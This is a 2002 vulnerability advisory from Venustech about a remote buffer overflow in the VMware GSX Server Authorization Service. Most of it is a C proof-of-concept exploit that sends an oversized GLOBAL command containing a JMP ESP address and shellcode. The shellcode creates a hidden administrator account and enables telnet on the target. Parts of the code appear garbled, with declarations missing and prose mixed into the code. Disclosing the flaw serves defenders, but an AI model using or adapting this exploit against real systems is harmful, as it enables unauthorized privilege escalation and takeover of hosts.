VMware GSX Server Remote Buffer Overflow

Author:Zag & Glcs
Email: Glcs@venustech.com.cn & BigBall@venustech.com.cn

Homepage:http://www.venustech.com.cn

Date: 2002/07/24

CNCVE ID:CNCVE-20020095

System:
VMware GSX Server 2.0.0 build-2050 for Windows(other versions not tested)
   + Windows NT/2000/XP

Description:
  VMware GSX Server is a very popular virtualization software, it's remote 
console: There is a buffer overflow vulnerability on VMware Authorization 
Service, although the designer have taken measures to prevent buffer 
overflow when the software was designed, the buffer overflow vulnerability 
still allow users to gain privileges and execute any commands.
  
Analyse:

(Thanks isno for giving me many documents about overflow)
VMware GSX Server communicates with VMware Remote Console via a open port 
902 on VMware Authorization Service, the handshake operations which before 
data transfer:

220 VMware Authentication Daemon Version 1.00
USER anyuser
331 Password required for user.
PASS ******
230 User user logged in.
GLOBAL server
200 Connect Global

The length of USER,PASS,GLOBAL command was limited by the program, when 
the string is too long, the connection will be refused by server, and get 
a return error information like: 599 vmware-authd PANIC: Buffer overflow 
in VMAuthdSocketRead():
220 VMware Authentication Daemon Version 1.00
USER AAAA....(Ax500)
599 vmware-authd PANIC: Buffer overflow in VMAuthdSocketRead()

But the command GLOBAL can cause a overflow when the string still not 
exceed the limite and the overflow can cause an abend of the VMware 
Authorization Service. We can make a short shellcode to cover the return 
address and excute the code of ourself.

Suppose we can use the Guest account now.
test codes:


////////////////////////////////////////////////////////////////////
//  VMwareOverflowTest v1.0
//  Written by Zag & Glcs
//  BigBall@venustech.com.cn glcs@venustech.com.cn
//  http://www.Venustech.com
////////////////////////////////////////////////////////////////////

#include "stdio.h"
#include "winsock2.h"
#include "stdlib.h"
#pragma comment (lib, "Ws2_32")

to make sure that the shellcode length and GLOBAL command length not 
exceed the limit.

//add an administrator account: x_adrc password: x_adrc
//start the telnet service
"\x68\xC1\x15\x35\x09\x81\x2C\x24"
"\x80\xD1\xF0\x08\x68\x63\x20\x20"
"\x2F\x68\x5F\x61\x64\x72\x68\x72"
"\x73\x20\x78\x68\x72\x61\x74\x6F"
"\x68\x6E\x69\x73\x74\x68\x61\x64"
"\x6D\x69\x68\x6F\x75\x70\x20\x68"
"\x61\x6C\x67\x72\x68\x20\x6C\x6F"
"\x63\x68\x26\x6E\x65\x74\x68\x74"
"\x73\x76\x72\x68\x20\x74\x6C\x6E"
"\x68\x74\x61\x72\x74\x68\x65\x74"
"\x20\x73\x68\x44\x44\x26\x6E\x68"
"\x63\x20\x2F\x41\x68\x5F\x61\x64"
"\x72\x68\x72\x63\x20\x78\x68\x78"
"\x5F\x61\x64\x68\x73\x65\x72\x20"
"\x68\x65\x74\x20\x75\x68\x2F\x63"
"\x20\x6E\x68\x63\x6D\x64\x20\x8B"
"\xC4\x6A\x01\x50\xB8\xC6\x84\xE6"
"\x77\xFF\xD0\x90";

//the JMP ESP address of WindowsXP English Version, we can add the address 
of other systems, such as Windows 2000.
unsigned char Jmp_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77};//WinXP Eng
unsigned char Jmp_ESP[4];

void usage ()
 
	printf ("VMwareOverflowTest v1.0\n Written by Zag & Glcs\n 
Email:BigBall@venustech.com.cn\n Glcs@venustech.com.cn\n 
www.Venustech.com\n\nUsage:VMwareOverflowTest.exe <IP> <PORT> <username> 
<passwd> <os type>\n\t0.Windows XP Eng\n");
	return;
 

int main (int argc, char **argv)
 
	char str[4096];
	WSADATA wsa;
	SOCKET sock;
	struct sockaddr_in server;
	int ret;
	int i = 0;
	if (argc != 6)
	{
		usage ();
		return 0;
	}
	WSAStartup (MAKEWORD (2, 2), &wsa);
	sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
	server.sin_family = AF_INET;
	server.sin_port = htons (atoi (argv[2]));
	server.sin_addr.s_addr = inet_addr (argv[1]);

       //the base address of DLL files on each systems is not the same, so 
we need to modify the call address 
        //we can find that the system have loaded the DLL files we need by 
check VMware Authorization Service
       //then we only need modify the call address
	//(BASE_ADDRESS + FUNCTION_OFFSET)
	switch (atoi(argv[5]))
	{
	case 0:
		shellcode[133] = 0xc6;
		shellcode[134] = 0x84;
		shellcode[135] = 0xe6;
		shellcode[136] = 0x77;

		strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);

		break;
	default:
		shellcode[133] = 0xc6;
		shellcode[134] = 0x84;
		shellcode[135] = 0xe6;
		shellcode[136] = 0x77;

		strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);
		break;
	}
	ret = connect (sock, (struct sockaddr *)&server, sizeof (server));

	if (ret == SOCKET_ERROR)
	{
		printf ("connect error\n");
		return -1;
	}

	//receive welcome message
	memset (str, 0, sizeof (str));
	recv (sock, str, 100, 0);
	printf ("%s", str);

        //send username confirm message
	memset (str, 0, sizeof (str));
	strcpy (str,"USER ");
	strcat (str, argv[3]);
	strcat (str, "\r\n");
	ret = send (sock, str, strlen (str), 0);

        //receive confirm message
	memset (str, 0, sizeof (str));
	recv (sock, str, 100, 0);
	printf ("%s", str);

	//send password
	memset (str, 0, sizeof (str));
	strcpy (str,"PASS ");
	strcat (str, argv[4]);
	strcat (str, "\r\n");
	ret = send (sock, str, strlen (str), 0);

	//receive confirm message
	memset (str, 0, sizeof (str));
	ret = recv (sock, str, 100, 0);
	printf ("%s", str);

        make GLOBAL command
	memset (str, 0, sizeof (str));
	strcpy (str, "GLOBAL ");
	//to up the success probability, we use the half-continuous 
covering, so the exact overflow point is not need


	for(i = 7; i < 288; i += 8)
	{
		memcpy(str + i, "\x90\x90\x58\x68", 4);
		//write the JMP ESP command into the possible return 
address
		memcpy(str + i + 4, Jmp_ESP, 4);
	}

	//append the shellcode to the GLOBAL command string
	memcpy (str + i, shellcode, strlen (shellcode));
	strcat (str, "\r\n");
	ret = send (sock, str, strlen (str), 0);
	printf ("Done!\n");
	closesocket (sock);
	WSACleanup ();
	return 1;
 

  After compiling the codes in VC, we can use user:x_adrc pass:x_adrc to 
telnet remote target host, check the x_adrc account, we can find that 
x_adrc belong the group of administrators. Now we get the high privilege 
by any account.

Temp remedy way:
	stop the VMware Authorization Service

Correspond reference:
	yuange, 'widechar string buffer overflow technic', chapte of half-
continuous cover

About us:
        Venustech-ADRC (Active Defence Research Center)